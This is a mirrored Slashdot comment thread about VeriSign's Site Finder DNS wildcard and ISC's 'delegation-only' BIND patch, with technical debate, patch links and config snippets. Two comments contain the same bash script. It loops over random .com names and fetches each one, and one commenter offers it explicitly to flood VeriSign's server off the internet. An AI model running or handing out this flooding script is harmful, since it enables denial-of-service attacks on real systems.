Slashdot Mirror


BIND Strikes Back Against VeriSign's Site Finder

BrunoC writes "Following the story about VeriSign's new Site Finder, the Internet Software Consortium promises to release a patch to its (in)famous BIND that will block the controversial Site Finder. Wired News has full coverage of the ISC initiative against this name resolving atrocity."

135 of 582 comments (clear)

  1. Verislime by Anonymous Coward · · Score: 2, Interesting

    #!/bin/sh
    function get_char(){ local GOOD=0;while [ $GOOD == 0 ];do RAND_C="$(dd if=/dev/urandom bs=1 count=1 2>>/dev/null)";if [ $(echo "$RAND_C" | grep [0-9A-Za-z]) ];then GOOD=1;fi;done;};function get_string(){ local INDEX=0;while [ $INDEX != 32 ];do get_char;RAND_STR[$INDEX]=$RAND_C;let INDEX++;done;};get_string;URI=$(echo "${RAND_STR[@]}" | tr -d ' ');wget -O - $URI.com >>/dev/null 2>>/dev/null;exit 1

  2. Excellent! by Ratface · · Score: 4, Insightful

    Tereby helping to prove the old adage that the Internet will just route around regulation! (OK, it's not strictly regulation, but with any luck Verisgn will find that "controlling" the underlying technology of the Internet is not as easy as they first though).

    --

    A little planning goes a long way...
  3. Good for BIND by Empiric · · Score: 5, Insightful

    Good... Verisign's actions here are a particularly heinous form of "embrace-and-extend". Here, they're "embracing" an entire technology freely provided to them, and "extending" it in a blatantly proprietary manner, with no significant work at all on their part. Taking the whole DNS stack and turning it into a profit center by redirecting it at your whim across the entire internet, is outrageous.

    --
    ~ Whence do you come, slayer of men, or where are you going, conqueror of space?
    1. Re:Good for BIND by Anonymous Coward · · Score: 5, Funny

      At least they could have directed us to some decent pr0n instead.

    2. Re:Good for BIND by AKnightCowboy · · Score: 4, Interesting
      Verisign's actions here are a particularly heinous form of "embrace-and-extend". Here, they're "embracing" an entire technology freely provided to them, and "extending" it in a blatantly proprietary manner

      I hope BIND makes it configurable enough to kill off the .cc and .ws wildcards as well.

    3. Re:Good for BIND by aborchers · · Score: 5, Insightful

      And the BIND solution is an excellent response in the spirit of the network's self-healing nature. I'd rather see it solved this way than through a bunch of law suits that benefit none but the attorneys.

      I can't help but think of the contraversy over deep linking and how all those stupid suits could have been avoided if server operators would have just detected the referer header and bounced deep links back to the home page...

      --
      Trouble making decisions? Just flip for it.
    4. Re:Good for BIND by Joe+U · · Score: 5, Interesting

      Then start running the new BIND and also contact your local Attorney General. I did.

      Explain how they are in violation of the Anti-Cybersquatting laws, and have broken their contract with the Department of Commerce regarding the whois database. Mention how it's abuse of a monopoly power.

      Make the states get involved, not the private attorneys.

    5. Re:Good for BIND by Insurgent2 · · Score: 3, Informative

      No, they don't dare do this.
      It's a federal offence to redirect a misspelling to a porn site as it's "illegal to deceive children into viewing harmful material". This is a provision of the "Amber Alert" legislation and will land you in jail for 4 years.
      Relevant Link

    6. Re:Good for BIND by jacksonyee · · Score: 3, Interesting

      The problem with using referer headers is that not all clients provide them. Some people may be using an archaic browser which doesn't send the field, some people may have just typed the URL straight in to the address bar rather than being referred from another website, and some people just plainly disable them for privacy reasons.

      Of course, most lawyers won't understand these principles, but for us web development geeks, there's no sense in blocking legimate users just by one single HTTP header which may or may not be there. If you really want to protect your pages, just require registration before reading.

    7. Re:Good for BIND by Anonymous Coward · · Score: 3, Funny

      Did the surgeons remove your funny bone at birth along with your foreskin?

    8. Re:Good for BIND by aborchers · · Score: 5, Insightful

      As UU7 just pointed out, the idea is to redirect requests with foreign headers to the front door. The vast majority of modern clients will send the header, and if it is blank, you can either elect to let them have the page, or force them to the front door and set a cookie.

      If someone is so gung ho about privacy that they disable the referer header and refuse cookies, then they must accept that sites with policies that require them to come through the front door and accept a token will be unavailable to them. Publishers are under no obligation to provide their material without at least a nominal quid pro quo from the user.

      --
      Trouble making decisions? Just flip for it.
    9. Re:Good for BIND by ruiner13 · · Score: 4, Interesting
      "No, they don't dare do this. It's a federal offence to redirect a misspelling to a porn site as it's "illegal to deceive children into viewing harmful material". This is a provision of the "Amber Alert" legislation and will land you in jail for 4 years."

      So how does whitehouse.com get away with it? (i'm not going to make the name a link, I do not want to link to pr0n on /.).

      --

      today is spelling optional day.

    10. Re:Good for BIND by np-complete · · Score: 2, Interesting

      It is configurable enough. The patch isn't enabled by default, you need to specify the zones you want to avoid wildcards for as delegation-only. So, as well as com. and net., add ws. and cc.. The wildcards are undelegated RRs and so won't be heeded. Note that all undelegated RRs in those zones will be hidden this way, but unless you have some obscure and pressing need to see them, you won't be missing out on anything.
      --

      --
      Can you sum it up in a word? *No.* In a noise? *Whuuuurghhhhh!*
    11. Re:Good for BIND by Insurgent2 · · Score: 3, Informative
      Gee, so the basis for the charges against the man in the article were just made up?
      Read this amendment to H.R. 1104:
      Rep. Pence offered an amendment on Thursday, March 27, 2003; it was agreed to by voice vote. The amendment makes it a criminal act to knowingly use a misleading domain name with the intent to deceive a person into viewing obscenity on the Internet. Also makes it a criminal act to knowingly use a misleading domain name with the intent to deceive a minor into viewing material on the Internet that is harmful to minors. A domain name that includes a word or words to indicate the sexual content of the site is not considered misleading.
    12. Re:Good for BIND by np-complete · · Score: 2, Informative

      Yes, but BIND already lets you mark nameservers as bogus. If that happens, it's just a simple matter of editing and reloading configuration files.
      --

      --
      Can you sum it up in a word? *No.* In a noise? *Whuuuurghhhhh!*
    13. Re:Good for BIND by amcguinn · · Score: 2, Insightful

      The technical workaround is good, but I think this is one rare case where legal action might be reasonable.

      If you don't want deep linking, you're objecting to how various random individuals on the internet interact with your computers. You should restrict that interaction on your own computer and not whine about the rest of the world.

      Verisign are not some random external party - they exclusively control chunks of the internet infrastructure. They should be held to a higher standard of behaviour.

      Of course, the real technical solution is for everyone to use an alternative root server. Given the economic network effects in the internet, that's very difficult to arrange. (If Verisign's abuse got much worse, it would be just conceivable).

    14. Re:Good for BIND by ananiasanom · · Score: 2, Informative
      And in fact it was named after the British decency campaigner Mary Whitehouse, not in any way relevant to the US Govt.

      And since Whitehouse is a company, and the White House isn't (although there has been some discussion of that recently), whitehouse.com is much better pointing to the magazine

    15. Re:Good for BIND by shokk · · Score: 2, Interesting

      Speaking of which, it looks like others have joined the bandwagon. Take a look at http://www.catse.cx. This is not as heinous as .cx is perfectly right in administering their own domain and this really is more along the lines of a service, but it's still pretty gray. Verisign's move is just plain slimy.

      --
      "Beware of he who would deny you access to information, for in his heart, he dreams himself your master."
    16. Re:Good for BIND by leviramsey · · Score: 2, Informative

      Let's see...

      gamefaq.com leads to a page for gamefaqs.com... no pr0n there.

      whitehouse.com is the site for a pr0n magazine which predated the internet. The act wouldn't cover that case.

      As for resonatorsoft.com, it's not pr0n either.

      So you're 0-3 thus far...

  4. hmmm don't want to be alarmist by nounderscores · · Score: 2, Insightful

    but couldn't this be the thin end of the wedge towards technologically mediated censorship?

    after all, almost anything is possible with the a patch... it just takes the will to do it.

    ____________________________________________
    I' m a programmer with a soldering iron, and I'm not afraid to use it.

  5. How will this work? by kybosh · · Score: 3, Interesting

    I assume the patch will filter requests, which resolve to the site-finder IP, so what's to stop VeriSign simply changing IPs every so often?

    Of course, hopefully this and public opinion will actually cause VeriSign to rethink the whole operation. (We can at least dream)

    1. Re:How will this work? by mccalli · · Score: 4, Insightful
      I assume the patch will filter requests, which resolve to the site-finder IP...

      I'd say that's quite an assumption. Were I coding this patch, for example, the IPs for which to return NXDOMAIN would be specified in a config. That config would be able to take single IPs and also ranges.

      ...so what's to stop VeriSign simply changing IPs every so often?

      I wouldn't write this off as ineffective yet. We need to see what methodolgy is being chosen before we can comment on its technical effectiveness.

      Cheers,
      Ian

    2. Re:How will this work? by close_wait · · Score: 5, Informative
      I assume the patch will filter requests, which resolve to the site-finder IP, so what's to stop VeriSign simply changing IPs every so often?

      No, the patch doesn't do filtering in that sense. It just allows you to mark some zones in your BIND config file (such as .com and .net), that should only contain delegation information. So basically if your BIND server recieves back A record(s) rather than NS delegation records from a server authoritative for .com , BIND simply ignores it.

      Simple and elegant, and nothing Verislime can do about it. (I hope.)

    3. Re:How will this work? by Michael+Hunt · · Score: 2, Insightful

      That approach is fucking dangerous.

      Why? Glue records. You are _meant_ to receive certain As from the parent servers of a domain delegated to nameservers which live within its own namespace.

      For example, let's say I have the domain movezig.com. I fill in a host template to for the two nameservers, base.movezig.com (3.214.8.19) and cats.movezig.com (3.217.21.40), then delegate it to those nameservers. Obviously, if the .com NSs only returned movezig.com IN NS base.movezig.com and movezig.com IN NS cats.movezig.com, we'd have a problem of infinite recursion.

      So, nameservers are designed to respond with A records for authoritative nameservers when a domain is delegated to NSs within its own zone.

      Since these records are sent by the servers authoritative for the parent zone (they live in the same zonefile as the NS records do), filtering them would break resolution of roughly 20% of the internet.

      Bad idea.

      A much better idea is to merely filter out any responses under a configurable set of parent TLDs where the authority section returned matches a preconfigured list of NSs.

      For example, doing a lookup for f00bw1tz.com (which i presume doesn't exist) returns an A of 64.94.110.11 as expected, with the Authority section claiming com. IN NS (a-m).gtld-servers.net.

      This would be the tricky way of doing it.

    4. Re:How will this work? by close_wait · · Score: 2, Informative
      That approach is fucking dangerous.

      Why? Glue records. You are _meant_ to receive certain As from the parent servers of a domain delegated to nameservers which live within its own namespace.

      But glue records are very specific, and can be easily checked for. Only if an A record matches one of the names in the NS records need it be kept.

    5. Re:How will this work? by Paul+Jakma · · Score: 5, Informative

      That approach is fucking dangerous.

      Why? Glue records. You are _meant_ to receive certain As from the parent servers of a domain delegated to nameservers which live within its own namespace.


      However, you're missing a crucial part: when you ask the delegating server for the NS records, the glue A records are given out in the additional section, not in the answer section.

      The ISC patch disregards /authoritative/ non-apex data from zones configured as delegate only. however, it can still make use of additional data (ie glue). Glue records are never queried directly AFAIK when a DNS server is sending queries to determine the set of authoratitive servers for a zone, so the patch does not cause any problems.

      --
      I use Friend/Foe + mod-point modifiers as a karma/reputation system.
    6. Re:How will this work? by lazlo · · Score: 2, Interesting
      Well, the thing that bugs me about this solution is that it seems really easy to get around.

      Right now verisign has the equivalent of, in the .com zone:
      * IN A 64.94.110.11
      Now, it seems to me that it would be really simple for them to change that to something more like:
      * IN NS ns.searchstation.com
      (and, of course, a wildcard A record in ns.searchstation.com)
      To me, it looks like the only way to get around this more permanently is to have BIND check periodically for some known-not-to-exist domain name (figuring that one out might be tricky), and use the reply as a reference. If it gets other replies like that, then return NXDOMAIN.

      I do find it kind of interesting that, at this time, verisign is only returning wildcard A records, not NS, not MX, not SOA. Hmmm.
      --
      Pound! Bang! Bin! Bash! is this a shell script or a Batman comic?
  6. Bug your ISP by jez_f · · Score: 4, Interesting

    As soon as a patch comes out, bug your ISP to sort out their DNS servers. Try and nip this thing in the bud
    Interesting that BIND only runs 80% of DNS servers, what is the other 20% made up of?

    1. Re:Bug your ISP by insomaniac · · Score: 3, Informative

      Well, windows dns, maradns, powerdns... etc etc.

      Or they are like me and use djbdns, and won't go back.. ;)

      There is a patch for djbdns, but they're not official so I wouldn't reccomend blindly using them.

      --
      The way to corrupt a youth is to teach him to hold in higher value them who think alike than those who think differently
    2. Re:Bug your ISP by superpeach · · Score: 3, Informative

      Or if you get bored you could try dnsmasq and block the sitefinder yourself. As of yesterday dnsmasq has had the option to return NXDOMAIN when it recieved the 64.94.110.11 address (or any others you choose)

    3. Re:Bug your ISP by doon · · Score: 5, Informative
      We are a bind shop, But I know othesr that run Really depends on if you need a Recursive Caching server or just an Authoritive Server.
      --
      To E-mail me, replace the first period in my domain with an @
    4. Re:Bug your ISP by Vic+Metcalfe · · Score: 3, Interesting

      The problem with the dnscache (djbdns) patch is that it filters based on IP addresses. While this is the obvious solution, I don't think it is the best solution. I think BIND's approach is to list the domains that should be delegate only, and that is a better approach because that way they can't just change the IP every day to avoid getting blocked.

      Better yet (and I could very well be wrong here) I'd like to see a patch that would force all TLD's to be delegate only. I don't know of any examples off hand where that would be a problem on the Internet... Maybe in an internal network, in which case the sysadmins just don't apply the patch or disable the feature.

    5. Re:Bug your ISP by doon · · Score: 2, Funny

      Yep. Fat Fingers Strike again. To my defense, damn pager kept going off last night. To quote my wife "Hon, you really need a job that doesn't wake you @ 4am". :)

      --
      To E-mail me, replace the first period in my domain with an @
    6. Re:Bug your ISP by japhie · · Score: 2, Insightful

      There is a patch for djbdns, but they're not official so I wouldn't reccomend blindly using them.

      What would you call `official patch for djbdns', one released by DJB? Forget it. ;) There are no `official' patches for any djbware.

      The ignoreip2-patch with ignoreip-update posted on dns@list.cr.py.to seem to be the Right Way for now.

    7. Re:Bug your ISP by Neon+Spiral+Injector · · Score: 3, Informative

      The bruteforce method:

      include "named.delegation-only";

  7. Re:Sqatting by richie2000 · · Score: 5, Interesting
    Oh well, it was bound to happen at some point...

    The .nu domain registry has been doing this for years.

    --
    Money for nothing, pix for free
  8. the patch by colinleroy · · Score: 3, Informative

    Isn't it this one ?
    I'm asking because the wording is quite hard to understand as my main language isn't english ;)

    --
    blah
    1. Re:the patch by Spazmania · · Score: 4, Interesting

      That's the one.

      Clever solution. They rigged it so that you can declare the .com zone as "delegation only." If you do, then your name server will only accept referrals from the .com servers (NS records and any associated glue).

      So, if BIND makes a non-recursive query for www.verisign-is-really-bad.com from a server authorative for .com and it gets back an A record for 10.0.0.1 instead of an NS record for ns.verisign-is-really-bad.com, it responds to the host querying it with NXDOMAIN instead of the A record.

      Verisign could work around this by replacing the A record with a wildcard NS record pointing to ns.sitefinder.verisign.com or some such, and then having that new name server return an IP address for any query made of it.

      The question is: is Verisign willing to escalate the matter or will they back off?

      --
      Moderating "-1, Disagree" is simple censorship. Have the guts to post your opinion.
  9. Here is ISC's web page for delegation Only zones by doon · · Score: 5, Informative


    http://www.isc.org/products/BIND/delegation-only .h tml

    --
    To E-mail me, replace the first period in my domain with an @
  10. Internet standards humor alert by mwise · · Score: 5, Funny

    "VeriSign did not respond requests for comment."

    Isn't that what caused the problem in the first place?

    Thanks, I'll be here all week!

    1. Re:Internet standards humor alert by AndroidCat · · Score: 5, Funny

      "VeriSign did not respond requests for comment." Strange that requests for comment didn't end up at 64.94.110.11.

      --
      One line blog. I hear that they're called Twitters now.
  11. Re:Yeah, only SPAM, sure. by Anonymous Coward · · Score: 5, Informative
    Actually, you do not get anything at the moment. 64.94.110.11 is currently not responding, no doubt under a deluge of requests. While this isn't such a big deal for those who have mistyped a domain name in their browser, it will certainly cause a hell of a problem for mailers around the globe. Remember that Verisign have set up "dummy" mailer deamons on port 25 to ensure mis-directed mail got bounced immediatly, rather than sit in the mail queue? Well now the mailers can't contact that dummy deamon, and the mail is building up in the queues.

    I hope some large ISP's bring action against Verisign for breaking their email systems like that.

    In the meantime, if you want to help keep Verisigns SiteFinder off the internet, try this simple script in a while loop:
    #!/bin/sh
    function get_char(){ local GOOD=0;while [ $GOOD == 0 ];do RAND_C="$(dd if=/dev/urandom bs=1 count=1 2>>/dev/null)";if [ $(echo "$RAND_C" | grep [0-9A-Za-z]) ];then GOOD=1;fi;done;};function get_string(){ local INDEX=0;while [ $INDEX != 32 ];do get_char;RAND_STR[$INDEX]=$RAND_C;let INDEX++;done;};get_string;URI=$(echo "${RAND_STR[@]}" | tr -d ' ');wget -O - $URI.com >>/dev/null 2>>/dev/null;exit 1
  12. Is a Technology solution ALWAYS better than law? by henley · · Score: 5, Interesting

    OK, I'm in favour of working-around the problem in classic

    The internet interprets {badthing} as damage and routes around it
    ..fashion, and I'll be installing a patched bind whenever I can.

    But I'm really concerned that this effectively lets VeriSign get away with it. They've bust everyone's trust folks, doesn't anyone care? This sort of activity in a social context (umm... let's see if we can construct a tortured metaphor: ...uhhh..: Your friend asks for your cousins's phone number and you instead give them the phone number of your shop. Reasonable?) would result in the perpetrator being ostracised fairly quickly, if not actually slapped about by a clue-by-four. It's flat out antisocial behaviour, never mind any legalities.

    Here, since these buggers appear to hold us all over a barrel with the root domains, we can't just ignore them, and invoking legal recourses is at best slow and expensive. But what about appeal to the authorities that granted them those rights?

    Um, the more I rant about this the closer I get to thinking a better solution is switching to an alternate root... Best head off to google again then, I know there's a way around this...

    --

    --
    I'd rather have a bottle in front of me than a frontal lobotomy
  13. Re:very cool.. dnscache? by Torne · · Score: 5, Informative

    Yep, the patch for dnscache by veteran Russ Nelson is here:
    tinydns.org/djbdns-1.05-ignoreip.patch

  14. Re:Yeah, only SPAM, sure. by AKnightCowboy · · Score: 4, Funny
    So BIND blocks this won't Verisign just make another "patch" and fix the glitch?

    Not if they make it in a configurable way to let you choose what IP Verisign is redirecting to. Then again, Verisign is a bunch of Dope Smoking Pedophiles, as referenced by this Internet Web site they have registered. Let's not forget they're also a bunch of Clueless DNS whores. Oh yes, and I heard Verisign supports terrorists at this page: here...

    Verisign needs to be shut down for these un-American and clearly criminal web sites. Someone notify John Ashcroft, quickly!

  15. Advice on switching to another registrar by MCRocker · · Score: 2, Insightful

    I was dumb enough to sign up with, what was called Network Solutions at the time. Then during a moment of shear stupidity, I renewed... till 2007!

    I really want to get away from these jerks. There seem to be lots of registrars out there, but I've heard horror stories about totally unresponsive registrars that are glad to take your money, but ignore you if there's any problem at all. Also, if I switch, doesn't that just improve Verisign's profit margin? I've paid till 2007, now they don't have to do anything at all for that money. If I transfer to another registrar does Verisign get to keep my money?

    Advice?

    --
    Signatures are a waste of bandwi (buffering...)
    1. Re:Advice on switching to another registrar by jlusk4 · · Score: 4, Funny

      Good point, they *do* already have your money. Stay with Verisign (until your registration expires), but make a lot of support calls. (After all, you've paid for their sterling support.) Especially about this wildcard thing. I'm already forgetting exactly what it is, maybe you are, too. I'm sure they'd be happy to explain it to you, and why it's not bad. And if you forget again after a month or two, they'll be happy to discuss it with you again. And any other questions you might have, like how to set up a mail server alias thingy.

      John.

    2. Re:Advice on switching to another registrar by You're+All+Wrong · · Score: 2, Funny

      """
      Best regards,

      Marie003
      Network Solutions Inc.
      """

      Marie003 ??? She sends me spam!

      YAW.

      --
      Your head of state is a corrupt weasel, I hope you're happy.
  16. Patches by achurch · · Score: 4, Informative

    Patches for DJBDNS and lots of other daemons here.

  17. link to patch and example by jcurious · · Score: 5, Informative

    upgrade can be found here:
    http://www.isc.org/products/BIND/delegation -only.h tml

    There is no need to create a com or net data file. Just the
    entries to the named.conf file is enough
    zone "com" { type delegation-only; };
    zone "net" { type delegation-only; };

    Ofcourse, if you use views, this needs to be provided within the relevant
    view (the one performing recursive lookups).

    quote from:
    http://marc.theaimsgroup.com/?l=bind9-users &m=1063 79587928771&w=2

  18. For TinyDNS / dnscache users by pgregg · · Score: 5, Informative

    Russell Nelson has a patch for tinydns which does the same thing.

    He also notes that several other TLD operators for the same thing and has another patch that allows you to do the same thing to several naughtly tld operators at once.

  19. The new versions of BIND are already available by Raphael · · Score: 5, Informative

    Although the news are not on the BIND page yet, patches for the current versions 9.2.2 and 9.1.3 are already available. Only 9.2.3rc2 is currently listed on the page (as of this writing).

    You can get the details from the bind-announce list archives:

    All versions were released a few hours ago. Here is the common paragraph at the top of these three messages:

    In response to high demand from our users, ISC is releasing a patch for BIND to support the declaration of "delegation-only" zones in caching/recursive name servers. Briefly, a zone which has been declared "delegation-only" will be effectively limited to containing NS RRs for subdomains, but no actual data outside its apex (for example, its SOA RR and apex NS RRset). This can be used to filter out "wildcard" or "synthesized" data from NAT boxes or from authoritative name servers whose undelegated (in-zone) data is of no interest.

    Have fun downloading and installing!

    --
    -Raphaël
    1. Re:The new versions of BIND are already available by boojit · · Score: 5, Informative
      And here's a helpful posting on how to use the new patch.

      DaC

  20. Re:very cool.. dnscache? by richard-parker · · Score: 4, Informative

    Does anyone know how to do this with DJBDNS?
    A list of patches for various name servers can be found here.

    Unfortunately the djbdns patch at that URL is not as elegant as the official patch from ISC for BIND. Unlike the ISC BIND patch, the djbdns patch does not support the declaration of "delegation-only" zones. Instead, it adds support for the rather crude technique of converting an A record response containing an operator specified IP address (which you would currently set to 64.94.110.11) into a NXDOMAIN response.
  21. MX Problems by tinla · · Score: 5, Insightful


    So you have 2 mail servers with mx priorities as follows:

    mail.someplace.com 10
    mail.otherplace.com 20

    if your someplace.com domain expires (hey, it happens) all your mail bounces thanks to verisigns ace "Snubby Mail Rejector Daemon v1.3". The backup mx record, which is there to cover failures like domains expiring, is never tried. In the 'real' world.. where lookups on dead domains fail... the backup server would be used.

    Thats a bigger problem than all this spam checking people are getting worked up about. If they both had priority 10 (a simple load balancing arrangement) then half your mail would bounce and half would be ok.

    Some improvement! Patches to BIND aren't the answer. Verisign need to be made to stop breaking the internet.

    --
    0daymeme.com: Great stuff.
    1. Re:MX Problems by MrMickS · · Score: 4, Interesting
      Patches to BIND aren't the answer. Verisign need to be made to stop breaking the internet.
      80% of the DNS servers are BIND. The more of these that get patched the less of a problem redirected email becomes. The patch to BIND shouldn't be the only action taken but anything that helps is good. A change to BIND helps.
      --
      You may think me a tired, old, cynic. I'd have to disagree about the tired bit.
    2. Re:MX Problems by TheViewFromTheGround · · Score: 4, Insightful

      Some improvement! Patches to BIND aren't the answer. Verisign need to be made to stop breaking the internet.

      There's been this silly thread in this conversation that stakes out two sides. Either a) fix anti-social, monopolistic behavior with technology, or b) fix it with laws and legal action. This is a moronic dichotomy. A technological solution mitigates the immediate problem while the lawyers have time to file their briefs and sort out the damage done. A combination of technical solutions and legal action is a possibility and even a sometimes a Good Thing, not some binary choice.

      --
      Online citizen journalism from the inner city: The View From The Ground
  22. Re:ISC ROCKS by AKnightCowboy · · Score: 4, Interesting
    That's fucking awesome! The ISC rocks. Verisign has no right to abuse their position like that. Way to go for people fighting the power!

    I said it a long time ago, but there's a very simple way to fix this problem. Alternic was offering a solution 7 or 8 years ago for the Network Solutions monopoly. If BIND decided to distribute a seperate set of root servers in a cache file and enough ISPs used it the Internet DNS system as we know it today could change overnight. ;-) There is NOTHING giving ICANN or Verisign any power except our own complacency to not change a single file in our DNS server. It's laziness.

  23. Who will agree? by 200_success · · Score: 4, Interesting

    The interesting question is, will enough people pick up the patch, so that Verisign will see their efforts wasted? This will only happen if the distros redistribute the patch.

    Will the Linux distros provide updates to BIND that include the patch? (I bet yes.) Will Sun, the dot in .com, update Solaris? (This is harder to guess.) As for Microsoft, I think they will sneak in a patch, to Internet Explorer only, the next time they issue an "urgent" security patch -- though their motive is purely to protect their MSN Search revenue.

    DJBDNS already has a patch available.

  24. ISPs Will Soon Send You To Their Own Site by Anonymous Coward · · Score: 5, Interesting

    ISPs running DNS will certainly disallow this redirection to VeriSuck.

    But soon thereafter, if not immediately, they'll start directing their customers to their own search site, or whatever search site they're paid to send them to. Or maybe some ISPs already do this?!

    We need an RFC stating that this is not permissable.

    Heh, maybe as a byproduct we'll see public DNS servers pop up. "Use us for free, but occasionally we will send you where /we/ want you to go."

  25. Who cares? by SuperBanana · · Score: 2, Funny

    I for one welcome our new DNS overlords! All our domain name are belong to THEM! Mwuhahahaha...

  26. Link rotation? by 192939495969798999 · · Score: 3, Interesting

    Maybe if a misspelled URL went to a random other URL, it might be OK, but using that page to advertise for a particular company's profit, regardless of the URL, seems really bad. I would much prefer to have a "not found" message, since that's really what's happened. Can you imagine if this happened while driving? Anytime you turn down the wrong street, the same ad came on the radio or something like that? It seems positively Orwellian.

    --
    stuff |
  27. Re:Soundex into BIND! by AKnightCowboy · · Score: 5, Insightful
    The most important one, IMHO, is to compute a list of close matches and present these choices to the user. They may use the Soundex algorithm or some other tricks to see if characters are transposed, if one characters is wrong, if one is missing, etc. If well implemented, this would solve 60% of the problem.

    NO NO NO NO NO NO NO! DNS is a directory service for god's sake, not a god damn search engine. If you want a search engine then go to Google like everyone else does. If people are too stupid to assume typing in "www.whitehouse.com" will take them to the White House's homepage then they deserve to get tits in the face. Type in White House in Google, hit feeling lucky and you'll get the right page right off. DNS maps domain names to IP addresses and vice versa, nothing more. Don't pervert it into some god damn spell checking search engine.

  28. Re:Soundex into BIND! by Xner · · Score: 2, Informative
    Interesting, but that is so far outside the problem domain that it's not even funny.
    Bind should just return NXDOMAIN and the application (Mozilla, IE, BitchX, whatever) can then sort it out in this fashion. Hell, we can even make handy BSD-licensed shared libraries that do this for easy integration.

    The matter is that the application must be informed when a domain does not exist, not spammed with guesses that may be right.

    --
    Pathman, Free (as in GPL) 3D Pac Man
  29. Re:Soundex into BIND! by joshv · · Score: 3, Informative

    BIND should be enhanced in several ways:

    The most important one, IMHO, is to compute a list of close matches and present these choices to the user. They may use the Soundex algorithm or some other tricks to see if characters are transposed, if one characters is wrong, if one is missing, etc. If well implemented, this would solve 60% of the problem.


    BIND (and other Domain Name Servers) are given the simple task of turning a string into set of 4 octets (aka an IP address), using a massively distributed lookup table that maps strings to IP address.

    The reason people are pissed off about Verisign's wildcard entry is that they have depended on their DNS saying "I can't find an IP address" when it can't find an IP address.

    In general BIND is a program that talks to other programs via a very stable and well understood interface. Now, how would enhance BIND to do a soundex and return multiple possible results to programs that have been written to expect either a response in the form of a single IP address, or a "domain not found" error?

    Sounds to me like this is something that should be handled in the application, if at all.

    -josh

  30. Re:Yeah, only SPAM, sure. by dm(Hannu) · · Score: 5, Funny
    Transposing letters is not (and never has been) the 'Slashdot effect'.

    Exactly. The correct term for this is Sldahost efcfet

  31. Re:didn't they already do that? by AKnightCowboy · · Score: 4, Insightful
    I seem to remember certain 'default' browser settings, that would automaticly re-direct unknown queries to a related MSN search page.

    Having an application do that is completely different than having what is essentially one of the only Internet "utilities" do it without your consent. Redirecting queries is the job of an application, not the DNS root servers. There's a reason looking up non-registered domains returns an NXDOMAIN, because the RFC says it is should!

  32. Re:Yeah, only SPAM, sure. by Zocalo · · Score: 4, Insightful

    Actually, ISC as been smarter than that. What they have done is allow certain domains to be designated "delegation only". That means, in a nutshell, you can specify for instance ".net" and ISC will automatically return NXDOMAIN for anything other than an NS pointer at that level. This in effect will wipe out wildcarding at the TLD/GLD levels for which it is configured, and if you wished you could even extend it to block wildcarding of things like "*.uk.com".

    --
    UNIX? They're not even circumcised! Savages!
  33. It's a trick... by mseeger · · Score: 5, Funny
    Hi,

    this is just a trick. They just want to get rid of all those obsolete BIND-versions out in the internet.

    So they did this to goat all admins into patching their bind.

    Tricky they are...

    Regards, Martin

  34. Sign the online petition to get ICANN into action by Anonymous Coward · · Score: 5, Interesting

    ICANN might be able to force VeriSign to get this off the net
    http://www.petitiononline.com/icanndns/

  35. Have your say by turg · · Score: 4, Interesting

    Is Stratton D. Sclavos doing a good job as CEO of Verisign? Vote yes or no in this Forbes.com poll.

    Also, here's a petition that may also be of interest.

    --
    <sig>Guvf vf abg n frperg zrffntr
    1. Re:Have your say by turg · · Score: 3, Informative

      Scroll down, there are multiple polls on the same page.

      --
      <sig>Guvf vf abg n frperg zrffntr
  36. But for how long by Alien+Conspiracy · · Score: 4, Interesting

    They don't state if it's simply blocking the well-known IP of SiteFinder or doing something cleverer.

    How long till they change the IP/round-robin it?

    I noticed the wildcard domain does not generate an SOA record so that may be a better detection mechanism, but maybe it will break existing misconfigured sites?

    In any case, Verisign can always come up with new scams to make the record look more authentic.

    The only long-term solution is to move to a different host, which would be really hard to arrange collectively.

    1. Re:But for how long by interiot · · Score: 2, Informative

      Here is the documentation for the patch. They don't hardcode an IP, they just have a way to say that wildcards records don't necessarily have to work everywhere. eg. you can say that "*.foobar.com => 1.2.3.4" but you can't say that "*.com => 64.94.110.11".

    2. Re:But for how long by vidarh · · Score: 2, Insightful
      Ah, after reading your documentation, I realised that the explanation you give is wrong.

      What the patch does is saying that if I query server Foo, running this version of Bind, and Foo has to go and ask Bar about it, Foo will only consider delegation data from Bar, not other resources.

      So if Bar sends NS and SOA records back, all is well, and Foo happily tries to ask the delegated servers to resolve the name. If Bar sends an A record back, Foo will ignore it, and report a failure to the client.

      Problem with this is that if it gets widespread, Verisign might decide to serve these A records from other nameservers and add SOA and NS records for all the unregistered names as well, essentially fully delegating the names.

      The end result of that would be even more bandwidth wasted.

  37. Re:Lot of fuss about nothing by Anonymous Coward · · Score: 5, Informative

    We're not talking about you and your little web browser, we're talking about a major network provider breaking an important network infastructure component in a way which has already started to cause havoc across the internet. At the moment, the server they are using as a catch all is not responding to connections, which means that there "clever" solution to handle mis-directed email doesn't work. As a consequence, mis-directed mail has already started to pill up in mail queues while mail servers waste their time trying to contact the Verisign server.

    Other services are also shit out of luck; Verisign only allowed for HTTP and SMTP. Anything else trying to connect to a non-existent domain is out of luck and will sit around until the connection timesout. Of course, if the server had just returned NXDOMAIN in the first place, as it should, you wouldn't have that problem.

  38. I am glad you're not patching by Anonymous Coward · · Score: 2, Informative

    Were I coding this patch, for example, the IPs for which to return NXDOMAIN would be specified in a config.

    And what good would that do? If VeriSlime changes the ip hourly, you'd have to edit the config file hourly: bwilliant patching Holmes.

    I prefer the patch as it will be supplied by the ISC: Patch bind and add the following snippet to named.conf:

    zone "com" { type delegation-only; };
    zone "net" { type delegation-only; };

    Tada. Let VeriSlime work around *that*.

    1. Re:I am glad you're not patching by mccalli · · Score: 4, Funny
      Yes, strangely enough those who dedicate their lives to network adminning and writing BIND in the first place came up with a better patch than I managed to in the ten seconds it took to reply to a Slashdot post.

      You'll forgive me if I don't exactly hang my head in shame.

      Cheers,
      Ian

  39. Re:Soundex into BIND! by Lozzer · · Score: 2, Informative

    DNS is a directory service for god's sake, not a god damn search engine.

    Right

    DNS maps domain names to IP addresses and vice versa, nothing more

    Wrong

    --
    Special Relativity: The person in the other queue thinks yours is moving faster.
  40. use their T&C against them... by Anonymous Coward · · Score: 5, Interesting

    as suggested by Abby Patel at http://www.theregister.co.uk/content/6/32872.html

    However, it seems that the T&C's might help us to stop this abuse. If you do not agree to the T&C's the only option they have is to not redirect your netblock to their site. So, give them a call on 0800-032-2101, select 2 to speak to their support department and once you get a human, tell them that you don't agree to their T&C's and can they remove your netblocks!

    So lets /. them and see how many netblocks they end up excluding.

  41. Re:Has anyone.. by Oddly_Drac · · Score: 4, Insightful

    "I just did. I don't see what the fuss is."

    Ah. Bless. Cuddle up nice and warm.

